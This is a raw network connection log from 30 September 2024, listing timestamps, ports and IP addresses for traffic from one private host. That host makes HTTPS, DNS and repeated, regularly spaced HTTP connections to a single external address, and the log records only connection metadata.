Sep 30, 2024 09:51:48.773276091 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.774596930 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.774625063 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.776937008 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.776990891 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.777021885 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.780281067 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.782593012 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.782603025 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.783720016 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.783771992 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.783780098 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.787106991 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.790443897 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.790482998 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.790492058 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.790508986 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.790524960 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.793829918 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.794593096 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.794605970 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.797621965 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.800281048 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.800340891 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.800354004 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.802597046 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.802603960 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.803630114 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.803687096 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.803694010 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.806762934 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.806857109 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.806914091 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.806922913 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.809771061 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.809844017 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.809988022 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.810009956 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.957951069 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.959279060 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.959368944 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:48.964839935 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:48.964868069 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:49.028856039 CEST	80	49780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:49.028959990 CEST	49780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:50.545226097 CEST	49780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:50.545562983 CEST	49782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:50.713910103 CEST	80	49782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:50.714131117 CEST	49782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:50.714179993 CEST	80	49780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:50.714236975 CEST	49780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:50.714406967 CEST	49782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:50.719157934 CEST	80	49782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:51.419173002 CEST	80	49782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:51.419290066 CEST	49782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:53.045232058 CEST	49782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:53.045556068 CEST	49783	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:53.050460100 CEST	80	49782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:53.050477028 CEST	80	49783	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:53.050565958 CEST	49782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:53.050625086 CEST	49783	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:53.050801992 CEST	49783	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:53.055535078 CEST	80	49783	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:53.757038116 CEST	80	49783	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:53.757132053 CEST	49783	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:55.279861927 CEST	49783	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:55.280177116 CEST	49784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:55.546214104 CEST	80	49784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:55.546334982 CEST	49784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:55.546525002 CEST	80	49783	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:55.546576023 CEST	49783	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:55.579454899 CEST	49784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:55.584355116 CEST	80	49784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:56.257175922 CEST	80	49784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:56.257299900 CEST	49784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:57.875721931 CEST	49784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:57.875977993 CEST	49785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:57.973185062 CEST	80	49785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:57.973205090 CEST	80	49784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:57.973486900 CEST	49784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:57.973490953 CEST	49785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:57.973620892 CEST	49785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:57.978413105 CEST	80	49785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:58.708163023 CEST	80	49785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:58.708280087 CEST	49785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:59.069140911 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:59.069259882 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:59.069375038 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:59.069802046 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:59.069844007 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:59.855778933 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:59.856055021 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:59.857860088 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:59.857877970 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:59.858143091 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:59.866822958 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:59.911402941 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199364901 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199402094 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199502945 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199590921 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.199636936 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199656010 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.199686050 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.199687004 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199701071 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199733973 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199739933 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.199758053 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.199785948 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.200573921 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.200627089 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.204174042 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.204195023 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.204210043 CEST	49786	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:52:00.204216003 CEST	443	49786	4.175.87.197	192.168.2.5
Sep 30, 2024 09:52:00.217186928 CEST	49785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:00.217473030 CEST	49787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:00.222556114 CEST	80	49785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:00.222621918 CEST	49785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:00.222810984 CEST	80	49787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:00.222879887 CEST	49787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:00.223026037 CEST	49787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:00.227752924 CEST	80	49787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:00.928169966 CEST	80	49787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:00.928242922 CEST	49787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:02.545274019 CEST	49787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:02.545430899 CEST	49788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:02.550282955 CEST	80	49788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:02.550374031 CEST	49788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:02.550494909 CEST	49788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:02.550503969 CEST	80	49787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:02.550553083 CEST	49787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:02.555871010 CEST	80	49788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:03.251127005 CEST	80	49788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:03.251377106 CEST	49788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:04.765635967 CEST	49788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:04.765932083 CEST	49789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:04.772871017 CEST	80	49789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:04.772948027 CEST	49789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:04.773029089 CEST	80	49788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:04.773070097 CEST	49789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:04.773078918 CEST	49788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:04.779856920 CEST	80	49789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:05.504901886 CEST	80	49789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:05.504972935 CEST	49789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:07.123949051 CEST	49789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:07.124223948 CEST	49790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:07.129090071 CEST	80	49790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:07.129162073 CEST	80	49789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:07.129277945 CEST	49790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:07.129277945 CEST	49789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:07.129323959 CEST	49790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:07.134181023 CEST	80	49790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:07.837758064 CEST	80	49790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:07.837949038 CEST	49790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:09.344146967 CEST	49790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:09.344501972 CEST	49791	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:09.350013018 CEST	80	49790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:09.350028992 CEST	80	49791	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:09.350115061 CEST	49790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:09.350166082 CEST	49791	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:09.350327015 CEST	49791	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:09.355153084 CEST	80	49791	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:10.056313038 CEST	80	49791	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:10.056545973 CEST	49791	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:11.328264952 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.328318119 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.328382969 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.328674078 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.328686953 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.330178022 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.330240011 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.330315113 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.330529928 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.330547094 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.421758890 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.421777010 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.421878099 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.422225952 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.422239065 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.687194109 CEST	49791	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:11.687500000 CEST	49795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:11.692496061 CEST	80	49795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:11.692625999 CEST	49795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:11.692650080 CEST	80	49791	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:11.692701101 CEST	49791	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:11.692806959 CEST	49795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:11.698410988 CEST	80	49795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:11.965923071 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.966253996 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.966276884 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.967083931 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.967360973 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.967499018 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.967530012 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.968878031 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.968888998 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.981700897 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.982036114 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.982076883 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.982601881 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.982924938 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.983004093 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:11.983115911 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.983130932 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:11.983141899 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.014184952 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.074269056 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.074604034 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.074636936 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.075146914 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.075228930 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.076211929 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.076287031 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.076752901 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.076828957 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.076915979 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.076924086 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.076941967 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.123400927 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.123755932 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.383820057 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.383882999 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.383949041 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.384015083 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.384064913 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.384108067 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.384108067 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.384191036 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.384251118 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.385157108 CEST	49793	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.385185957 CEST	443	49793	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.385533094 CEST	49794	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.385538101 CEST	443	49794	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.386013031 CEST	49792	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:52:12.386029959 CEST	443	49792	142.250.181.238	192.168.2.5
Sep 30, 2024 09:52:12.598556042 CEST	80	49795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:12.598659992 CEST	49795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:13.538368940 CEST	50756	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:52:13.543349028 CEST	53	50756	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:13.543464899 CEST	50756	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:52:13.543531895 CEST	50756	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:52:13.549009085 CEST	53	50756	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:13.998545885 CEST	53	50756	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:14.003762960 CEST	50756	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:52:14.010202885 CEST	53	50756	1.1.1.1	192.168.2.5
Sep 30, 2024 09:52:14.010282040 CEST	50756	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:52:14.109894991 CEST	49795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:14.110181093 CEST	50758	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:14.115381002 CEST	80	49795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:14.115434885 CEST	80	50758	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:14.115487099 CEST	49795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:14.115530968 CEST	50758	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:14.115645885 CEST	50758	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:14.120743036 CEST	80	50758	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:14.828464985 CEST	80	50758	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:14.828555107 CEST	50758	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:16.452723026 CEST	50758	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:16.453063011 CEST	50759	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:16.458065033 CEST	80	50759	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:16.458167076 CEST	50759	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:16.458260059 CEST	80	50758	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:16.458357096 CEST	50759	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:16.458383083 CEST	50758	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:16.466846943 CEST	80	50759	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:17.152482033 CEST	80	50759	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:17.152540922 CEST	50759	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:18.670891047 CEST	50759	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:18.671185017 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:18.676000118 CEST	80	50760	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:18.676079035 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:18.676098108 CEST	80	50759	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:18.676156044 CEST	50759	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:18.676212072 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:18.681071043 CEST	80	50760	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:19.902884007 CEST	80	50760	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:19.902898073 CEST	80	50760	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:19.902923107 CEST	80	50760	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:19.902952909 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:19.902983904 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:19.904664040 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:21.516484976 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:21.517026901 CEST	50761	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:21.521800041 CEST	80	50760	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:21.521893024 CEST	80	50761	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:21.521956921 CEST	50760	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:21.522104025 CEST	50761	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:21.522104025 CEST	50761	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:21.526962996 CEST	80	50761	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:22.236922979 CEST	80	50761	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:22.237035990 CEST	50761	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:23.752293110 CEST	50761	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:23.752568960 CEST	50762	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:23.758383989 CEST	80	50762	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:23.758474112 CEST	50762	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:23.758567095 CEST	50762	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:23.759113073 CEST	80	50761	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:23.759166956 CEST	50761	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:23.765954971 CEST	80	50762	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:24.480505943 CEST	80	50762	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:24.480622053 CEST	50762	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:26.123606920 CEST	50762	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:26.123946905 CEST	50763	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:26.129359961 CEST	80	50763	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:26.129578114 CEST	80	50762	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:26.129650116 CEST	50762	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:26.129656076 CEST	50763	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:26.132150888 CEST	50763	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:26.136889935 CEST	80	50763	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:26.881506920 CEST	80	50763	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:26.881892920 CEST	50763	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:28.391813993 CEST	50763	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:28.392128944 CEST	50765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:28.396924019 CEST	80	50763	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:28.396975040 CEST	80	50765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:28.396996021 CEST	50763	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:28.397046089 CEST	50765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:28.397178888 CEST	50765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:28.401885986 CEST	80	50765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:29.111469030 CEST	80	50765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:29.111534119 CEST	50765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:30.734539032 CEST	50765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:30.735086918 CEST	50766	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:30.739612103 CEST	80	50765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:30.739666939 CEST	50765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:30.739825010 CEST	80	50766	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:30.739881992 CEST	50766	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:30.740004063 CEST	50766	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:30.744735956 CEST	80	50766	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:31.454346895 CEST	80	50766	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:31.454423904 CEST	50766	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:32.018666029 CEST	50767	443	192.168.2.5	142.250.185.132
